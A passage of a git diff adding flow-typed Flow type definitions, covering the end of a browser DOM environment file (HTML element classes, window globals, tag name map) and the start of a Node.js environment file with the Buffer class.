+  quadraticCurveTo(cpx: number, cpy: number, x: number, y: number): void;
+  bezierCurveTo(
+    cp1x: number,
+    cp1y: number,
+    cp2x: number,
+    cp2y: number,
+    x: number,
+    y: number
+  ): void;
+  arcTo(x1: number, y1: number, x2: number, y2: number, radius: number): void;
+  arcTo(
+    x1: number,
+    y1: number,
+    x2: number,
+    y2: number,
+    radiusX: number,
+    radiusY: number,
+    rotation: number
+  ): void;
+  rect(x: number, y: number, w: number, h: number): void;
+  arc(
+    x: number,
+    y: number,
+    radius: number,
+    startAngle: number,
+    endAngle: number,
+    anticlockwise?: boolean
+  ): void;
+  ellipse(
+    x: number,
+    y: number,
+    radiusX: number,
+    radiusY: number,
+    rotation: number,
+    startAngle: number,
+    endAngle: number,
+    anticlockwise?: boolean
+  ): void;
+}
+
+// http://www.w3.org/TR/html5/scripting-1.html#renderingcontext
+type RenderingContext = CanvasRenderingContext2D | WebGLRenderingContext;
+
+// https://www.w3.org/TR/html5/scripting-1.html#htmlcanvaselement
+declare class HTMLCanvasElement extends HTMLElement {
+  tagName: 'CANVAS';
+  width: number;
+  height: number;
+  getContext(contextId: '2d', ...args: any): CanvasRenderingContext2D;
+  getContext(
+    contextId: 'webgl',
+    contextAttributes?: Partial<WebGLContextAttributes>
+  ): ?WebGLRenderingContext;
+  // IE currently only supports "experimental-webgl"
+  getContext(
+    contextId: 'experimental-webgl',
+    contextAttributes?: Partial<WebGLContextAttributes>
+  ): ?WebGLRenderingContext;
+  getContext(contextId: string, ...args: any): ?RenderingContext; // fallback
+  toDataURL(type?: string, ...args: any): string;
+  toBlob(callback: (v: File) => void, type?: string, ...args: any): void;
+  captureStream(frameRate?: number): CanvasCaptureMediaStream;
+}
+
+// https://html.spec.whatwg.org/multipage/forms.html#the-details-element
+declare class HTMLDetailsElement extends HTMLElement {
+  tagName: 'DETAILS';
+  open: boolean;
+}
+
+declare class HTMLFormElement extends HTMLElement {
+  tagName: 'FORM';
+  @@iterator(): Iterator<HTMLElement>;
+  [index: number | string]: HTMLElement | null;
+  acceptCharset: string;
+  action: string;
+  elements: HTMLCollection<HTMLElement>;
+  encoding: string;
+  enctype: string;
+  length: number;
+  method: string;
+  name: string;
+  rel: string;
+  target: string;
+
+  checkValidity(): boolean;
+  reportValidity(): boolean;
+  reset(): void;
+  submit(): void;
+}
+
+// https://www.w3.org/TR/html5/forms.html#the-fieldset-element
+declare class HTMLFieldSetElement extends HTMLElement {
+  tagName: 'FIELDSET';
+  disabled: boolean;
+  elements: HTMLCollection<HTMLElement>; // readonly
+  form: HTMLFormElement | null; // readonly
+  name: string;
+  type: string; // readonly
+
+  checkValidity(): boolean;
+  setCustomValidity(error: string): void;
+}
+
+declare class HTMLLegendElement extends HTMLElement {
+  tagName: 'LEGEND';
+  form: HTMLFormElement | null; // readonly
+}
+
+declare class HTMLIFrameElement extends HTMLElement {
+  tagName: 'IFRAME';
+  allowFullScreen: boolean;
+  contentDocument: Document;
+  contentWindow: any;
+  frameBorder: string;
+  height: string;
+  marginHeight: string;
+  marginWidth: string;
+  name: string;
+  scrolling: string;
+  sandbox: DOMTokenList;
+  src: string;
+  // flowlint unsafe-getters-setters:off
+  get srcdoc(): string;
+  set srcdoc(value: string | TrustedHTML): void;
+  // flowlint unsafe-getters-setters:error
+  width: string;
+}
+
+declare class HTMLImageElement extends HTMLElement {
+  tagName: 'IMG';
+  alt: string;
+  complete: boolean; // readonly
+  crossOrigin: ?string;
+  currentSrc: string; // readonly
+  height: number;
+  decode(): Promise<void>;
+  isMap: boolean;
+  naturalHeight: number; // readonly
+  naturalWidth: number; // readonly
+  sizes: string;
+  src: string;
+  srcset: string;
+  useMap: string;
+  width: number;
+}
+
+declare class Image extends HTMLImageElement {
+  constructor(width?: number, height?: number): void;
+}
+
+declare class MediaError {
+  MEDIA_ERR_ABORTED: number;
+  MEDIA_ERR_NETWORK: number;
+  MEDIA_ERR_DECODE: number;
+  MEDIA_ERR_SRC_NOT_SUPPORTED: number;
+  code: number;
+  message: ?string;
+}
+
+declare class TimeRanges {
+  length: number;
+  start(index: number): number;
+  end(index: number): number;
+}
+
+declare class Audio extends HTMLAudioElement {
+  constructor(URLString?: string): void;
+}
+
+declare class AudioTrack {
+  id: string;
+  kind: string;
+  label: string;
+  language: string;
+  enabled: boolean;
+}
+
+declare class AudioTrackList extends EventTarget {
+  length: number;
+  [index: number]: AudioTrack;
+
+  getTrackById(id: string): ?AudioTrack;
+
+  onchange: (ev: any) => any;
+  onaddtrack: (ev: any) => any;
+  onremovetrack: (ev: any) => any;
+}
+
+declare class VideoTrack {
+  id: string;
+  kind: string;
+  label: string;
+  language: string;
+  selected: boolean;
+}
+
+declare class VideoTrackList extends EventTarget {
+  length: number;
+  [index: number]: VideoTrack;
+  getTrackById(id: string): ?VideoTrack;
+  selectedIndex: number;
+
+  onchange: (ev: any) => any;
+  onaddtrack: (ev: any) => any;
+  onremovetrack: (ev: any) => any;
+}
+
+declare class TextTrackCue extends EventTarget {
+  constructor(startTime: number, endTime: number, text: string): void;
+
+  track: TextTrack;
+  id: string;
+  startTime: number;
+  endTime: number;
+  pauseOnExit: boolean;
+  vertical: string;
+  snapToLines: boolean;
+  lines: number;
+  position: number;
+  size: number;
+  align: string;
+  text: string;
+
+  getCueAsHTML(): Node;
+  onenter: (ev: any) => any;
+  onexit: (ev: any) => any;
+}
+
+declare class TextTrackCueList {
+  @@iterator(): Iterator<TextTrackCue>;
+  length: number;
+  [index: number]: TextTrackCue;
+  getCueById(id: string): ?TextTrackCue;
+}
+
+declare class TextTrack extends EventTarget {
+  kind: string;
+  label: string;
+  language: string;
+
+  mode: string;
+
+  cues: TextTrackCueList;
+  activeCues: TextTrackCueList;
+
+  addCue(cue: TextTrackCue): void;
+  removeCue(cue: TextTrackCue): void;
+
+  oncuechange: (ev: any) => any;
+}
+
+declare class TextTrackList extends EventTarget {
+  length: number;
+  [index: number]: TextTrack;
+
+  onaddtrack: (ev: any) => any;
+  onremovetrack: (ev: any) => any;
+}
+
+declare class HTMLMediaElement extends HTMLElement {
+  // error state
+  error: ?MediaError;
+
+  // network state
+  src: string;
+  srcObject: ?any;
+  currentSrc: string;
+  crossOrigin: ?string;
+  NETWORK_EMPTY: number;
+  NETWORK_IDLE: number;
+  NETWORK_LOADING: number;
+  NETWORK_NO_SOURCE: number;
+  networkState: number;
+  preload: string;
+  buffered: TimeRanges;
+  load(): void;
+  canPlayType(type: string): string;
+
+  // ready state
+  HAVE_NOTHING: number;
+  HAVE_METADATA: number;
+  HAVE_CURRENT_DATA: number;
+  HAVE_FUTURE_DATA: number;
+  HAVE_ENOUGH_DATA: number;
+  readyState: number;
+  seeking: boolean;
+
+  // playback state
+  currentTime: number;
+  duration: number;
+  startDate: Date;
+  paused: boolean;
+  defaultPlaybackRate: number;
+  playbackRate: number;
+  played: TimeRanges;
+  seekable: TimeRanges;
+  ended: boolean;
+  autoplay: boolean;
+  loop: boolean;
+  play(): Promise<void>;
+  pause(): void;
+  fastSeek(): void;
+  captureStream(): MediaStream;
+
+  // media controller
+  mediaGroup: string;
+  controller: ?any;
+
+  // controls
+  controls: boolean;
+  volume: number;
+  muted: boolean;
+  defaultMuted: boolean;
+  controlsList?: DOMTokenList;
+
+  // tracks
+  audioTracks: AudioTrackList;
+  videoTracks: VideoTrackList;
+  textTracks: TextTrackList;
+  addTextTrack(kind: string, label?: string, language?: string): TextTrack;
+
+  // media keys
+  mediaKeys?: ?MediaKeys;
+  setMediakeys?: (mediakeys: ?MediaKeys) => Promise<?MediaKeys>;
+}
+
+declare class HTMLAudioElement extends HTMLMediaElement {
+  tagName: 'AUDIO';
+}
+
+declare class HTMLVideoElement extends HTMLMediaElement {
+  tagName: 'VIDEO';
+  width: number;
+  height: number;
+  videoWidth: number;
+  videoHeight: number;
+  poster: string;
+}
+
+declare class HTMLSourceElement extends HTMLElement {
+  tagName: 'SOURCE';
+  src: string;
+  type: string;
+
+  //when used with the picture element
+  srcset: string;
+  sizes: string;
+  media: string;
+}
+
+declare class ValidityState {
+  badInput: boolean;
+  customError: boolean;
+  patternMismatch: boolean;
+  rangeOverflow: boolean;
+  rangeUnderflow: boolean;
+  stepMismatch: boolean;
+  tooLong: boolean;
+  tooShort: boolean;
+  typeMismatch: boolean;
+  valueMissing: boolean;
+  valid: boolean;
+}
+
+// https://w3c.github.io/html/sec-forms.html#dom-selectionapielements-setselectionrange
+type SelectionDirection = 'backward' | 'forward' | 'none';
+type SelectionMode = 'select' | 'start' | 'end' | 'preserve';
+declare class HTMLInputElement extends HTMLElement {
+  tagName: 'INPUT';
+  accept: string;
+  align: string;
+  alt: string;
+  autocomplete: string;
+  autofocus: boolean;
+  border: string;
+  checked: boolean;
+  complete: boolean;
+  defaultChecked: boolean;
+  defaultValue: string;
+  dirname: string;
+  disabled: boolean;
+  dynsrc: string;
+  files: FileList;
+  form: HTMLFormElement | null;
+  formAction: string;
+  formEncType: string;
+  formMethod: string;
+  formNoValidate: boolean;
+  formTarget: string;
+  height: string;
+  hspace: number;
+  indeterminate: boolean;
+  labels: NodeList<HTMLLabelElement>;
+  list: HTMLElement | null;
+  loop: number;
+  lowsrc: string;
+  max: string;
+  maxLength: number;
+  min: string;
+  multiple: boolean;
+  name: string;
+  pattern: string;
+  placeholder: string;
+  readOnly: boolean;
+  required: boolean;
+  selectionDirection: SelectionDirection;
+  selectionEnd: number;
+  selectionStart: number;
+  size: number;
+  src: string;
+  start: string;
+  status: boolean;
+  step: string;
+  type: string;
+  useMap: string;
+  validationMessage: string;
+  validity: ValidityState;
+  value: string;
+  valueAsDate: Date;
+  valueAsNumber: number;
+  vrml: string;
+  vspace: number;
+  width: string;
+  willValidate: boolean;
+  popoverTargetElement: Element | null;
+  popoverTargetAction: 'toggle' | 'show' | 'hide';
+
+  checkValidity(): boolean;
+  reportValidity(): boolean;
+  setCustomValidity(error: string): void;
+  createTextRange(): TextRange;
+  select(): void;
+  setRangeText(
+    replacement: string,
+    start?: void,
+    end?: void,
+    selectMode?: void
+  ): void;
+  setRangeText(
+    replacement: string,
+    start: number,
+    end: number,
+    selectMode?: SelectionMode
+  ): void;
+  setSelectionRange(
+    start: number,
+    end: number,
+    direction?: SelectionDirection
+  ): void;
+  showPicker(): void;
+  stepDown(stepDecrement?: number): void;
+  stepUp(stepIncrement?: number): void;
+}
+
+declare class HTMLButtonElement extends HTMLElement {
+  tagName: 'BUTTON';
+  autofocus: boolean;
+  disabled: boolean;
+  form: HTMLFormElement | null;
+  labels: NodeList<HTMLLabelElement> | null;
+  name: string;
+  type: string;
+  validationMessage: string;
+  validity: ValidityState;
+  value: string;
+  willValidate: boolean;
+
+  checkValidity(): boolean;
+  reportValidity(): boolean;
+  setCustomValidity(error: string): void;
+  popoverTargetElement: Element | null;
+  popoverTargetAction: 'toggle' | 'show' | 'hide';
+}
+
+// https://w3c.github.io/html/sec-forms.html#the-textarea-element
+declare class HTMLTextAreaElement extends HTMLElement {
+  tagName: 'TEXTAREA';
+  autofocus: boolean;
+  cols: number;
+  dirName: string;
+  disabled: boolean;
+  form: HTMLFormElement | null;
+  maxLength: number;
+  name: string;
+  placeholder: string;
+  readOnly: boolean;
+  required: boolean;
+  rows: number;
+  wrap: string;
+
+  type: string;
+  defaultValue: string;
+  value: string;
+  textLength: number;
+
+  willValidate: boolean;
+  validity: ValidityState;
+  validationMessage: string;
+  checkValidity(): boolean;
+  setCustomValidity(error: string): void;
+
+  labels: NodeList<HTMLLabelElement>;
+
+  select(): void;
+  selectionStart: number;
+  selectionEnd: number;
+  selectionDirection: SelectionDirection;
+  setSelectionRange(
+    start: number,
+    end: number,
+    direction?: SelectionDirection
+  ): void;
+}
+
+declare class HTMLSelectElement extends HTMLElement {
+  tagName: 'SELECT';
+  autocomplete: string;
+  autofocus: boolean;
+  disabled: boolean;
+  form: HTMLFormElement | null;
+  labels: NodeList<HTMLLabelElement>;
+  length: number;
+  multiple: boolean;
+  name: string;
+  options: HTMLOptionsCollection;
+  required: boolean;
+  selectedIndex: number;
+  selectedOptions: HTMLCollection<HTMLOptionElement>;
+  size: number;
+  type: string;
+  validationMessage: string;
+  validity: ValidityState;
+  value: string;
+  willValidate: boolean;
+
+  add(element: HTMLElement, before?: HTMLElement): void;
+  checkValidity(): boolean;
+  item(index: number): HTMLOptionElement | null;
+  namedItem(name: string): HTMLOptionElement | null;
+  remove(index?: number): void;
+  setCustomValidity(error: string): void;
+}
+
+declare class HTMLOptionsCollection extends HTMLCollection<HTMLOptionElement> {
+  selectedIndex: number;
+  add(
+    element: HTMLOptionElement | HTMLOptGroupElement,
+    before?: HTMLElement | number
+  ): void;
+  remove(index: number): void;
+}
+
+declare class HTMLOptionElement extends HTMLElement {
+  tagName: 'OPTION';
+  defaultSelected: boolean;
+  disabled: boolean;
+  form: HTMLFormElement | null;
+  index: number;
+  label: string;
+  selected: boolean;
+  text: string;
+  value: string;
+}
+
+declare class HTMLOptGroupElement extends HTMLElement {
+  tagName: 'OPTGROUP';
+  disabled: boolean;
+  label: string;
+}
+
+declare class HTMLAnchorElement extends HTMLElement {
+  tagName: 'A';
+  charset: string;
+  coords: string;
+  download: string;
+  hash: string;
+  host: string;
+  hostname: string;
+  href: string;
+  hreflang: string;
+  media: string;
+  name: string;
+  origin: string;
+  password: string;
+  pathname: string;
+  port: string;
+  protocol: string;
+  rel: string;
+  rev: string;
+  search: string;
+  shape: string;
+  target: string;
+  text: string;
+  type: string;
+  username: string;
+}
+
+// https://w3c.github.io/html/sec-forms.html#the-label-element
+declare class HTMLLabelElement extends HTMLElement {
+  tagName: 'LABEL';
+  form: HTMLFormElement | null;
+  htmlFor: string;
+  control: HTMLElement | null;
+}
+
+declare class HTMLLinkElement extends HTMLElement {
+  tagName: 'LINK';
+  crossOrigin: ?('anonymous' | 'use-credentials');
+  href: string;
+  hreflang: string;
+  media: string;
+  rel: string;
+  sizes: DOMTokenList;
+  type: string;
+  as: string;
+}
+
+declare class HTMLScriptElement extends HTMLElement {
+  tagName: 'SCRIPT';
+  async: boolean;
+  charset: string;
+  crossOrigin?: string;
+  defer: boolean;
+  // flowlint unsafe-getters-setters:off
+  get src(): string;
+  set src(value: string | TrustedScriptURL): void;
+  get text(): string;
+  set text(value: string | TrustedScript): void;
+  // flowlint unsafe-getters-setters:error
+  type: string;
+}
+
+declare class HTMLStyleElement extends HTMLElement {
+  tagName: 'STYLE';
+  disabled: boolean;
+  media: string;
+  scoped: boolean;
+  sheet: ?CSSStyleSheet;
+  type: string;
+}
+
+declare class HTMLParagraphElement extends HTMLElement {
+  tagName: 'P';
+  align: 'left' | 'center' | 'right' | 'justify'; // deprecated in HTML 4.01
+}
+
+declare class HTMLHtmlElement extends HTMLElement {
+  tagName: 'HTML';
+}
+
+declare class HTMLBodyElement extends HTMLElement {
+  tagName: 'BODY';
+}
+
+declare class HTMLHeadElement extends HTMLElement {
+  tagName: 'HEAD';
+}
+
+declare class HTMLDivElement extends HTMLElement {
+  tagName: 'DIV';
+}
+
+declare class HTMLSpanElement extends HTMLElement {
+  tagName: 'SPAN';
+}
+
+declare class HTMLAppletElement extends HTMLElement {}
+
+declare class HTMLHeadingElement extends HTMLElement {
+  tagName: 'H1' | 'H2' | 'H3' | 'H4' | 'H5' | 'H6';
+}
+
+declare class HTMLHRElement extends HTMLElement {
+  tagName: 'HR';
+}
+
+declare class HTMLBRElement extends HTMLElement {
+  tagName: 'BR';
+}
+
+declare class HTMLDListElement extends HTMLElement {
+  tagName: 'DL';
+}
+
+declare class HTMLAreaElement extends HTMLElement {
+  tagName: 'AREA';
+  alt: string;
+  coords: string;
+  shape: string;
+  target: string;
+  download: string;
+  ping: string;
+  rel: string;
+  relList: DOMTokenList;
+  referrerPolicy: string;
+}
+
+declare class HTMLDataElement extends HTMLElement {
+  tagName: 'DATA';
+  value: string;
+}
+
+declare class HTMLDataListElement extends HTMLElement {
+  tagName: 'DATALIST';
+  options: HTMLCollection<HTMLOptionElement>;
+}
+
+declare class HTMLDialogElement extends HTMLElement {
+  tagName: 'DIALOG';
+  open: boolean;
+  returnValue: string;
+  show(): void;
+  showModal(): void;
+  close(returnValue: ?string): void;
+}
+
+declare class HTMLEmbedElement extends HTMLElement {
+  tagName: 'EMBED';
+  src: string;
+  type: string;
+  width: string;
+  height: string;
+  getSVGDocument(): ?Document;
+}
+
+declare class HTMLMapElement extends HTMLElement {
+  tagName: 'MAP';
+  areas: HTMLCollection<HTMLAreaElement>;
+  images: HTMLCollection<HTMLImageElement>;
+  name: string;
+}
+
+declare class HTMLMeterElement extends HTMLElement {
+  tagName: 'METER';
+  high: number;
+  low: number;
+  max: number;
+  min: number;
+  optimum: number;
+  value: number;
+  labels: NodeList<HTMLLabelElement>;
+}
+
+declare class HTMLModElement extends HTMLElement {
+  tagName: 'DEL' | 'INS';
+  cite: string;
+  dateTime: string;
+}
+
+declare class HTMLObjectElement extends HTMLElement {
+  tagName: 'OBJECT';
+  contentDocument: ?Document;
+  contentWindow: ?WindowProxy;
+  data: string;
+  form: ?HTMLFormElement;
+  height: string;
+  name: string;
+  type: string;
+  typeMustMatch: boolean;
+  useMap: string;
+  validationMessage: string;
+  validity: ValidityState;
+  width: string;
+  willValidate: boolean;
+  checkValidity(): boolean;
+  getSVGDocument(): ?Document;
+  reportValidity(): boolean;
+  setCustomValidity(error: string): void;
+}
+
+declare class HTMLOutputElement extends HTMLElement {
+  defaultValue: string;
+  form: ?HTMLFormElement;
+  htmlFor: DOMTokenList;
+  labels: NodeList<HTMLLabelElement>;
+  name: string;
+  type: string;
+  validationMessage: string;
+  validity: ValidityState;
+  value: string;
+  willValidate: boolean;
+  checkValidity(): boolean;
+  reportValidity(): boolean;
+  setCustomValidity(error: string): void;
+}
+
+declare class HTMLParamElement extends HTMLElement {
+  tagName: 'PARAM';
+  name: string;
+  value: string;
+}
+
+declare class HTMLProgressElement extends HTMLElement {
+  tagName: 'PROGRESS';
+  labels: NodeList<HTMLLabelElement>;
+  max: number;
+  position: number;
+  value: number;
+}
+
+declare class HTMLPictureElement extends HTMLElement {
+  tagName: 'PICTURE';
+}
+
+declare class HTMLTimeElement extends HTMLElement {
+  tagName: 'TIME';
+  dateTime: string;
+}
+
+declare class HTMLTitleElement extends HTMLElement {
+  tagName: 'TITLE';
+  text: string;
+}
+
+declare class HTMLTrackElement extends HTMLElement {
+  tagName: 'TRACK';
+  static NONE: 0;
+  static LOADING: 1;
+  static LOADED: 2;
+  static ERROR: 3;
+
+  default: boolean;
+  kind: string;
+  label: string;
+  readyState: 0 | 1 | 2 | 3;
+  src: string;
+  srclang: string;
+  track: TextTrack;
+}
+
+declare class HTMLQuoteElement extends HTMLElement {
+  tagName: 'BLOCKQUOTE' | 'Q';
+  cite: string;
+}
+
+declare class HTMLOListElement extends HTMLElement {
+  tagName: 'OL';
+  reversed: boolean;
+  start: number;
+  type: string;
+}
+
+declare class HTMLUListElement extends HTMLElement {
+  tagName: 'UL';
+}
+
+declare class HTMLLIElement extends HTMLElement {
+  tagName: 'LI';
+  value: number;
+}
+
+declare class HTMLPreElement extends HTMLElement {
+  tagName: 'PRE';
+}
+
+declare class HTMLMetaElement extends HTMLElement {
+  tagName: 'META';
+  content: string;
+  httpEquiv: string;
+  name: string;
+}
+
+declare class HTMLUnknownElement extends HTMLElement {}
+
+declare class Storage {
+  length: number;
+  getItem(key: string): ?string;
+  setItem(key: string, data: string): void;
+  clear(): void;
+  removeItem(key: string): void;
+  key(index: number): ?string;
+  [name: string]: ?string;
+}
+
+/* window */
+
+declare type WindowProxy = any;
+declare function alert(message?: any): void;
+declare function prompt(message?: any, value?: any): string;
+declare function close(): void;
+declare function confirm(message?: string): boolean;
+declare function getComputedStyle(
+  elt: Element,
+  pseudoElt?: string
+): CSSStyleDeclaration;
+declare opaque type AnimationFrameID;
+declare function requestAnimationFrame(
+  callback: (timestamp: number) => void
+): AnimationFrameID;
+declare function cancelAnimationFrame(requestId: AnimationFrameID): void;
+declare opaque type IdleCallbackID;
+declare function requestIdleCallback(
+  cb: (deadline: {
+    didTimeout: boolean,
+    timeRemaining: () => number,
+    ...
+  }) => void,
+  opts?: {timeout: number, ...}
+): IdleCallbackID;
+declare function cancelIdleCallback(id: IdleCallbackID): void;
+declare var localStorage: Storage;
+declare var devicePixelRatio: number;
+declare function focus(): void;
+declare function onfocus(ev: Event): any;
+declare function open(
+  url?: string,
+  target?: string,
+  features?: string,
+  replace?: boolean
+): any;
+declare var parent: WindowProxy;
+declare function print(): void;
+declare var self: any;
+declare var sessionStorage: Storage;
+declare var top: WindowProxy;
+declare function getSelection(): Selection | null;
+declare var customElements: CustomElementRegistry;
+declare function scroll(x: number, y: number): void;
+declare function scroll(options: ScrollToOptions): void;
+declare function scrollTo(x: number, y: number): void;
+declare function scrollTo(options: ScrollToOptions): void;
+declare function scrollBy(x: number, y: number): void;
+declare function scrollBy(options: ScrollToOptions): void;
+
+type HTMLElementTagNameMap = {
+  a: HTMLAnchorElement,
+  abbr: HTMLElement,
+  address: HTMLElement,
+  area: HTMLAreaElement,
+  article: HTMLElement,
+  aside: HTMLElement,
+  audio: HTMLAudioElement,
+  b: HTMLElement,
+  base: HTMLBaseElement,
+  bdi: HTMLElement,
+  bdo: HTMLElement,
+  blockquote: HTMLQuoteElement,
+  body: HTMLBodyElement,
+  br: HTMLBRElement,
+  button: HTMLButtonElement,
+  canvas: HTMLCanvasElement,
+  caption: HTMLTableCaptionElement,
+  cite: HTMLElement,
+  code: HTMLElement,
+  col: HTMLTableColElement,
+  colgroup: HTMLTableColElement,
+  data: HTMLDataElement,
+  datalist: HTMLDataListElement,
+  dd: HTMLElement,
+  del: HTMLModElement,
+  details: HTMLDetailsElement,
+  dfn: HTMLElement,
+  dialog: HTMLDialogElement,
+  div: HTMLDivElement,
+  dl: HTMLDListElement,
+  dt: HTMLElement,
+  em: HTMLElement,
+  embed: HTMLEmbedElement,
+  fieldset: HTMLFieldSetElement,
+  figcaption: HTMLElement,
+  figure: HTMLElement,
+  footer: HTMLElement,
+  form: HTMLFormElement,
+  h1: HTMLHeadingElement,
+  h2: HTMLHeadingElement,
+  h3: HTMLHeadingElement,
+  h4: HTMLHeadingElement,
+  h5: HTMLHeadingElement,
+  h6: HTMLHeadingElement,
+  head: HTMLHeadElement,
+  header: HTMLElement,
+  hgroup: HTMLElement,
+  hr: HTMLHRElement,
+  html: HTMLHtmlElement,
+  i: HTMLElement,
+  iframe: HTMLIFrameElement,
+  img: HTMLImageElement,
+  input: HTMLInputElement,
+  ins: HTMLModElement,
+  kbd: HTMLElement,
+  label: HTMLLabelElement,
+  legend: HTMLLegendElement,
+  li: HTMLLIElement,
+  link: HTMLLinkElement,
+  main: HTMLElement,
+  map: HTMLMapElement,
+  mark: HTMLElement,
+  menu: HTMLMenuElement,
+  meta: HTMLMetaElement,
+  meter: HTMLMeterElement,
+  nav: HTMLElement,
+  noscript: HTMLElement,
+  object: HTMLObjectElement,
+  ol: HTMLOListElement,
+  optgroup: HTMLOptGroupElement,
+  option: HTMLOptionElement,
+  output: HTMLOutputElement,
+  p: HTMLParagraphElement,
+  picture: HTMLPictureElement,
+  pre: HTMLPreElement,
+  progress: HTMLProgressElement,
+  q: HTMLQuoteElement,
+  rp: HTMLElement,
+  rt: HTMLElement,
+  ruby: HTMLElement,
+  s: HTMLElement,
+  samp: HTMLElement,
+  script: HTMLScriptElement,
+  search: HTMLElement,
+  section: HTMLElement,
+  select: HTMLSelectElement,
+  slot: HTMLSlotElement,
+  small: HTMLElement,
+  source: HTMLSourceElement,
+  span: HTMLSpanElement,
+  strong: HTMLElement,
+  style: HTMLStyleElement,
+  sub: HTMLElement,
+  summary: HTMLElement,
+  sup: HTMLElement,
+  table: HTMLTableElement,
+  tbody: HTMLTableSectionElement,
+  td: HTMLTableCellElement,
+  template: HTMLTemplateElement,
+  textarea: HTMLTextAreaElement,
+  tfoot: HTMLTableSectionElement,
+  th: HTMLTableCellElement,
+  thead: HTMLTableSectionElement,
+  time: HTMLTimeElement,
+  title: HTMLTitleElement,
+  tr: HTMLTableRowElement,
+  track: HTMLTrackElement,
+  u: HTMLElement,
+  ul: HTMLUListElement,
+  var: HTMLElement,
+  video: HTMLVideoElement,
+  wbr: HTMLElement,
+  [string]: Element,
+};
diff --git a/flow-typed/environments/node.js b/flow-typed/environments/node.js
new file mode 100644
index 000000000000..a3edff20f893
--- /dev/null
+++ b/flow-typed/environments/node.js
@@ -0,0 +1,4286 @@
+// flow-typed signature: 44d8f5b0b708cdf7288ec50b7c08e1bf
+// flow-typed version: 832153ff79/node/flow_>=v0.261.x
+
+interface ErrnoError extends Error {
+  address?: string;
+  code?: string;
+  dest?: string;
+  errno?: string | number;
+  info?: Object;
+  path?: string;
+  port?: number;
+  syscall?: string;
+}
+
+type Node$Conditional<T: boolean, IfTrue, IfFalse> = T extends true
+  ? IfTrue
+  : T extends false
+    ? IfFalse
+    : IfTrue | IfFalse;
+
+type buffer$NonBufferEncoding =
+  | 'hex'
+  | 'HEX'
+  | 'utf8'
+  | 'UTF8'
+  | 'utf-8'
+  | 'UTF-8'
+  | 'ascii'
+  | 'ASCII'
+  | 'binary'
+  | 'BINARY'
+  | 'base64'
+  | 'BASE64'
+  | 'ucs2'
+  | 'UCS2'
+  | 'ucs-2'
+  | 'UCS-2'
+  | 'utf16le'
+  | 'UTF16LE'
+  | 'utf-16le'
+  | 'UTF-16LE'
+  | 'latin1';
+type buffer$Encoding = buffer$NonBufferEncoding | 'buffer';
+type buffer$ToJSONRet = {
+  type: string,
+  data: Array<number>,
+  ...
+};
+
+declare class Buffer extends Uint8Array {
+  constructor(
+    value: Array<number> | number | string | Buffer | ArrayBuffer,
+    encoding?: buffer$Encoding
+  ): void;
+  [i: number]: number;
+  length: number;
+
+  compare(otherBuffer: Buffer): number;
+  copy(
+    targetBuffer: Buffer,
+    targetStart?: number,
+    sourceStart?: number,
+    sourceEnd?: number
+  ): number;
+  entries(): Iterator<[number, number]>;
+  equals(otherBuffer: Buffer): boolean;
+  fill(
+    value: string | Buffer | number,
+    offset?: number,
+    end?: number,
+    encoding?: string
+  ): this;
+  fill(value: string, encoding?: string): this;
+  includes(
+    value: string | Buffer | number,
+    offsetOrEncoding?: number | buffer$Encoding,
+    encoding?: buffer$Encoding
+  ): boolean;
+  indexOf(
+    value: string | Buffer | number,
+    offsetOrEncoding?: number | buffer$Encoding,
+    encoding?: buffer$Encoding
+  ): number;
+  inspect(): string;
+  keys(): Iterator<number>;
+  lastIndexOf(
+    value: string | Buffer | number,
+    offsetOrEncoding?: number | buffer$Encoding,
+    encoding?: buffer$Encoding
+  ): number;
+  readDoubleBE(offset?: number, noAssert?: boolean): number;
+  readDoubleLE(offset?: number, noAssert?: boolean): number;
+  readFloatBE(offset?: number, noAssert?: boolean): number;
+  readFloatLE(offset?: number, noAssert?: boolean): number;
+  readInt16BE(offset?: number, noAssert?: boolean): number;
+  readInt16LE(offset?: number, noAssert?: boolean): number;
+  readInt32BE(offset?: number, noAssert?: boolean): number;
+  readInt32LE(offset?: number, noAssert?: boolean): number;
+  readInt8(offset?: number, noAssert?: boolean): number;
+  readIntBE(offset: number, byteLength: number, noAssert?: boolean): number;
+  readIntLE(offset: number, byteLength: number, noAssert?: boolean): number;
+  readUInt16BE(offset?: number, noAssert?: boolean): number;
+  readUInt16LE(offset?: number, noAssert?: boolean): number;
+  readUInt32BE(offset?: number, noAssert?: boolean): number;
+  readUInt32LE(offset?: number, noAssert?: boolean): number;
+  readUInt8(offset?: number, noAssert?: boolean): number;
+  readUIntBE(offset: number, byteLength: number, noAssert?: boolean): number;
+  readUIntLE(offset: number, byteLength: number, noAssert?: boolean): number;
+  slice(start?: number, end?: number): this;
+  swap16(): Buffer;
+  swap32(): Buffer;
+  swap64(): Buffer;
+  toJSON(): buffer$ToJSONRet;
+  toString(encoding?: buffer$Encoding, start?: number, end?: number): string;
+  values(): Iterator<number>;
+  write(
+    string: string,
+    offset?: number,
+    length?: number,
+    encoding?: buffer$Encoding
+  ): number;
+  writeDoubleBE(value: number, offset?: number, noAssert?: boolean): number;
+  writeDoubleLE(value: number, offset?: number, noAssert?: boolean): number;
+  writeFloatBE(value: number, offset?: number, noAssert?: boolean): number;
+  writeFloatLE(value: number, offset?: number, noAssert?: boolean): number;
+  writeInt16BE(value: number, offset?: number, noAssert?: boolean): number;
+  writeInt16LE(value: number, offset?: number, noAssert?: boolean): number;
+  writeInt32BE(value: number, offset?: number, noAssert?: boolean): number;
+  writeInt32LE(value: number, offset?: number, noAssert?: boolean): number;
+  writeInt8(value: number, offset?: number, noAssert?: boolean): number;
+  writeIntBE(
+    value: number,
+    offset: number,
+    byteLength: number,
+    noAssert?: boolean
+  ): number;
+  writeIntLE(
+    value: number,
+    offset: number,
+    byteLength: number,
+    noAssert?: boolean
+  ): number;
+  writeUInt16BE(value: number, offset?: number, noAssert?: boolean): number;
+  writeUInt16LE(value: number, offset?: number, noAssert?: boolean): number;
+  writeUInt32BE(value: number, offset?: number, noAssert?: boolean): number;
+  writeUInt32LE(value: number, offset?: number, noAssert?: boolean): number;
+  writeUInt8(value: number, offset?: number, noAssert?: boolean): number;
+  writeUIntBE(
+    value: number,
+    offset: number,
+    byteLength: number,
+    noAssert?: boolean
+  ): number;
+  writeUIntLE(
+    value: number,
+    offset: number,
+    byteLength: number,
+    noAssert?: boolean
+  ): number;
+
+  static alloc(
+    size: number,
+    fill?: string | number,
+    encoding?: buffer$Encoding
+  ): Buffer;
+  static allocUnsafe(size: number): Buffer;
+  static allocUnsafeSlow(size: number): Buffer;
+  static byteLength(
+    string: string | Buffer | $TypedArray | DataView | ArrayBuffer,
+    encoding?: buffer$Encoding
+  ): number;
